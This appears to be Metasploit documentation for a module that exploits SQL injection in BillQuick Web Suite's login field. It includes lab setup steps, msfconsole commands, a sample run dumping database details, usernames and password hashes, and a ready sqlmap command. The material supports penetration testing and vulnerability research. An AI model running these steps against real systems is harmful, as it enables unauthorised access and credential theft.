Vulnerable Application
This module exploits a SQL injection vulnerability in BillQUick Web Suite prior to version 22.0.9.1. The application is .net based, and the database is required to be MSSQL. Luckily the website gives error based SQLi messages, so it is trivial to pull data from the database. However the webapp uses an unknown password security algorithm. This vulnerability does not seem to support stacked queries. This module pulls the database name, 111.111.1.111, user, hostname, and the SecurityTable (user table).
Install
This install can be rather complicated and take about 2hrs to install.
Download ws2020
Download Bill Quick 2020
Install billquick 2020
reboot
Install IIS per WS2020 instructions (non-default options in ws2020 install docs)
Install .NET Framework 3.5 (for sql server 2008, powershell: Install-WindowsFeature Net-Framework-Core)
Install MSSQL Server 2008
Install ws2020 (.NET 4.5 is bundled, may need a reboot)
Open BillQuick V21 (on desktop). Configure it to a new database
visit http://[removed]/ws2020 and finish the install/config
Even at this point, 2 people with these instructions and one independently were unable to login to the webapp. It can be SQLi, but no one was able to use it successfully.
Verification Steps
Install the application
Start msfconsole
Do: use auxiliary/gather/billquick_txtid_sqli
Do: set rhosts [ip]
Do: run
You should get info about the system and app.
Options
HttpClientTimeout
As noted in the original discovery writeup, and verified during exploitation, the DB is very slow. A high timeout should be set. Defaults to 15
Scenarios
BillQuick Web Suite 21.0.11 with BillQuick 2020 on Windows 2012 r2 with MSSQL 2008
[*] Processing billquick.rb for ERB directives.
resource (billquick.rb)> use auxiliary/gather/billquick_txtid_sqli
resource (billquick.rb)> set rhosts 111.111.1.111
rhosts => 111.111.1.111
resource (billquick.rb)> set verbose true
verbose => true
resource (billquick.rb)> check
[*] 111.111.1.111:80 - The target appears to be vulnerable. Version Detected: 21.0.11
resource (billquick.rb)> exploit
[*] Running module against 111.111.1.111
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version Detected: 21.0.11
[*] Getting Variables
[*] VIEWSTATE: /wEPDwULLTE4MzE3MTAzMjcPZBYEAgMPDxYCHgRUZXh0BRJWZXJzaW9uOiAyMS4wLjExLjFkZAIFD2QWBgIDD2QWBgIDDw9kFgIeBGhyZWYFKWphdmFzY3JpcHQ6RGlzcGxheUhlbHAoJy9sb2dpbi5odG0nLHRydWUpZAIFDw8WAh8AZWRkAgsPD2QWAh8BBboCamF2YXNjcmlwdDpPcGVuQ3VzdG9taXplZFBhZ2UoJ2h0dHA6Ly8xOTIuMTY4LjIuMTk3OjgwL3dzMjAyMC9BZG1pbi9mcm1TdGFydHVwT3B0aW9ucy5hc3B4P1JldHVyblVSTD1odHRwOi8vMTkyLjE2OC4yLjE5Nzo4MC93czIwMjAvZGVmYXVsdC5hc3B4JlJldHVyblBhdGg9QzovUHJvZ3JhbSBGaWxlcyAoeDg2KS9CaWxsUXVpY2sgV2ViIFN1aXRlL1dlYiBTdWl0ZSAyMDIwL3B1YmxpYycsJ09wdGlvbnMnLCdzdGF0dXM9MSx0b3A9MjAsbGVmdD03MCx0b29sYmFyPTAsd2lkdGg9OTYwLGhlaWdodD04NTAsc2Nyb2xsYmFycz0xLHJlc2l6YWJsZT0xJylkAgcPDxYCHgdWaXNpYmxlaGQWBAIBDxAPFgIfAmhkZGRkAgMPDxYCHwJoZGQCCQ9kFgICAw8PZBYCHgdvbmNsaWNrBYQBSmF2YVNjcmlwdDp2YXIgTnduZD0gd2luZG93Lm9wZW4oJ2h0dHA6Ly93d3cuYnFlLmNvbS9SZWFkeVRvQnV5LmFzcCcsJ0JpbGxRdWljaycsJ3N0YXR1cz0xLHJlc2l6YWJsZT0xJyk7IE53bmQuZm9jdXMoKTtyZXR1cm4gZmFsc2U7ZGStCLctJcrVYJp1DAA1gC3rEarKhZr4l+UhXjrUi4Di4g==
[*] VIEWSTATEGENERATOR: 35DBDDBD
[*] EVENTVALIDATION: /wEdAAdXT9yBxJ2SJPiixQkGOgS3iDzhgTayErTY5zy3eV0+KFncozjiY2uerT4fyhfyLsuRO4wbr9XDALim0BHyPei6XNiiK4rX19Q4jotFU35tutB+E+wdjwdLhtRmnvNWW5XjXQFozpEkqmpvVssmq69gY0kE5exFACTMA+fC7OwSIZ2agMpDV5u2LIZn3ODypK4=
[+] Current Database: test
[+] 111.111.1.111: Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
Jul 9 2008 14:17:44
Copyright (c) 1988-2008 Microsoft Corporation
Developer Edition (64-bit) on Windows NT 6.2 \u003cX64\u003e (Build 9200: ) (VM)
[+] DB User: sa
[+] Hostname: WIN-EDKFSE5QPAB
[+] User Count in test.dbo.SecurityTable: 2
[+] Username: 111
[+] User 111 settings: D848281C|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0|
[+] Username: fl
[+] User fl settings: 45E97|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0|
EmployeeID Settings
---------- --------
111 D848281C|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0|
fl 45E97|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0|
[*] Default password is the username.
[*] Auxiliary module execution completed
resource (billquick.rb)> hosts
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
111.111.1.111 WIN-EDKFSE5QPAB Windows device Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) Jul 9 2008 14:17:44 Copyright (c) 1988-2008 Microsoft Cor
porationDeveloper Edition (64-bit) on Windows NT 6.2 \u003cX64\u003e (Build 9200: ) (VM)
resource (billquick.rb)> services
host port proto name state info
---- ---- ----- ---- ----- ----
111.111.1.111 80 tcp BillQuick Web Suite open
resource (billquick.rb)> creds
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
111.111.1.111 111.111.1.111 80/tcp (BillQuick Web Suite) sa Blank password
111.111.1.111 111.111.1.111 80/tcp (BillQuick Web Suite) 111 D848281C Nonreplayable hash
111.111.1.111 111.111.1.111 80/tcp (BillQuick Web Suite) fl 45E97 Nonreplayable hash
resource (billquick.rb)> notes
Time Host Service Port Protocol Type Data
---- ---- ------- ---- -------- ---- ----
2021-11-06 10:26:28 UTC 111.111.1.111 BillQuick Web Suite 80 tcp database "test"
SQLMap Equivalent
You'll need a valid VIEWSTATE, VIEWSTATEGENERATOR, EVENTVALIDATION.
sqlmap -u "http://[IP]/ws2020/default.aspx" -f txtID --data="__EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE=[VIEWSTATE]&__VIEWSTATEGENERATOR=[GENERATOR]&__EVENTVALIDATION=[VALIDATION]&txtID=a&txtPW=a&hdnClientDPI=96" --dbms MSSQL --time-sec 15 --batch
